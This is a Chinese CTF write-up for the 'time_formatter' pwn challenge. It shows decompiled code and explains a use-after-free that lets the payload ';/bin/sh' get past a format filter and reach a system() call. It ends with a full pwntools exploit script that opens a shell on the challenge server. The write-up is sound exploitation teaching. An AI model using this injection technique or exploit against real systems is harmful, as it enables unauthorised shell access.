攻防世界time_formatter writeup
UAF漏洞和命令注入。
前置知识
1、strdup函数
char * __strdup(const char *s) { size_t len = strlen(s) +1; void *new = malloc(len); if (new == NULL) return NULL; return (char *)memecpy(new,s,len); }
strdup函数实现如上所示,strup函数拷贝字符串的副本到一块动态申请的内存中。
2、snprintf函数
snprintf函数原型:int snprintf(char *str, int n, char * format [, argument, ...])
str是目的字符串指针,snprintf从format中拷贝n个字符串到str中去,argument是参数。
3、getenv函数和setenv函数
getenv函数用来获取环境变量的值,setenv函数用来改变环境变量的值或者增加环境变量。
getenv函数原型:char * getenv(const char *name)
setenv函数原型:char * setenv(const char *name,const char * value,int overwrite)
name表示环境变量名,value表示环境变量的值,overwrite不为0表示可以修改和添加环境变量的值,overwrite为0表示环境变量已经有值,这时候value会被忽略。
程序分析
主调函数如下所示:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__gid_t v3; // eax
FILE *v4; // rdi
__int64 v5; // rdx
int v6; // eax
__int64 result; // rax
v3 = getegid();
setresgid(v3, v3, v3);
setbuf(stdout, 0LL);
puts("Welcome to Mary's Unix Time Formatter!");
while ( 1 )
{
puts("1) Set a time format.");
puts("2) Set a time.");
puts("3) Set a time zone.");
puts("4) Print your time.");
puts("5) Exit.");
__printf_chk(1LL, (__int64)"> ");
v4 = stdout;
fflush(stdout);
switch ( str2int() )
{
case 1:
v6 = set_time_format();
goto LABEL_8;
case 2:
v6 = set_time();
goto LABEL_8;
case 3:
v6 = set_time_zone();
goto LABEL_8;
case 4:
v6 = print_time((__int64)v4, (__int64)"> ", v5);
LABEL_8:
if ( !v6 )
continue;
return 0LL;
case 5:
exit();
return result;
default:
continue;
}
}
}
set_time_format函数如下所示:
__int64 sub_400E00()
{
char *v0; // rbx
v0 = add();
if ( (unsigned int)check_time_format(v0) )
{
ptr = v0;
puts("Format set.");
}
else
{
puts("Format contains invalid characters.");
delete(v0);
}
return 0LL;
}
char *add()
{
__int64 v0; // rdx
__int64 v1; // rcx
char s[1024]; // [rsp+8h] [rbp-410h]
unsigned __int64 v4; // [rsp+408h] [rbp-10h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, (__int64)"%s");
fflush(stdout);
fgets(s, 1024, stdin);
s[strcspn(s, "
")] = 0;
return sub_400C26(s, (__int64)"
", v0, v1);
}
set_time_zone函数如下所示:
__int64 sub_400E43()
{
value = add();
puts("Time zone set.");
return 0LL;
}
exit_time函数如下所示:
signed __int64 __noreturn exit()
{
signed __int64 result; // rax
char s; // [rsp+8h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-10h]
v2 = __readfsqword(0x28u);
delete(ptr);
delete(value);
__printf_chk(1LL, (__int64)"Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(&s, 16, stdin);
result = 0LL;
if ( (s & 0xDF) == 89 )
{
puts("OK, exiting.");
result = 1LL;
}
return result;
}
print_time函数如下所示:
__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v5; // [rsp+808h] [rbp-10h]
v5 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(
(__int64)&command,
2048LL,
1LL,
2048LL,
(__int64)"/bin/date -d @%d +'%s'",
(unsigned int)dword_602120,
(__int64)ptr,
a3);
__printf_chk(1LL, (__int64)"Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, (__int64)"Running command: %s
", (__int64)&command);
setenv("TZ", value, 1); // setenv函数这里添加环境变量
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}
如果我们可以把构造语句,把command中的命令构造为';/bin/sh'(单引号是为了闭合语句中的单引号),通过system函数就可以getshell。但是如果在set_time_format函数中输入';/bin/sh'会被过滤掉,所以我们这里要利用uaf漏洞,首先通过set_time_format函数申请一块堆块,然后exit_time释放掉,通过set_time_zone重新将释放的堆块分配出来,构造语句来执行。
EXP
from pwn import *
from pwnlib import *
DEBUG=0
if DEBUG:
io=process('./time_formatter')
else:
io=remote('220.249.52.133',49902)
elf=ELF('./time_formatter')
puts_got=elf.got['puts']
puts_system=elf.got['system']
fgets_got=elf.got['fgets']
atoi_got=elf.got['atoi']
system_got=elf.got['system']
def launch_gdb():
context.terminal=['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(io)[0])
def set_time_format(content):
io.recvuntil('> ')
io.sendline(str(1))
io.recvuntil('Format: ')
io.sendline(content)
def set_time_format_err(content):
io.recvuntil('> ')
io.sendline(str(1))
io.recvuntil('Format: ')
io.sendline(content)
def set_time(Unix_time):
io.recvuntil('> ')
io.sendline(str(2))
io.recvuntil('Enter your unix time: ')
io.sendline(str(Unix_time))
def set_time_zone(zone):
io.recvuntil('> ')
io.sendline(str(3))
io.recvuntil('Time zone: ')
io.sendline(zone)
def print_time():
io.recvuntil('> ')
io.send(str(4))
def exit_time():
io.recvuntil('>')
io.sendline(str(5))
io.recvuntil('Are you sure you want to exit (y/N)? ')
io.sendline('N')
#launch_gdb()
content1='aaaa'
set_time_format(content1)
exit_time()
set_time_zone("';/bin/sh'")
print_time()
io.interactive()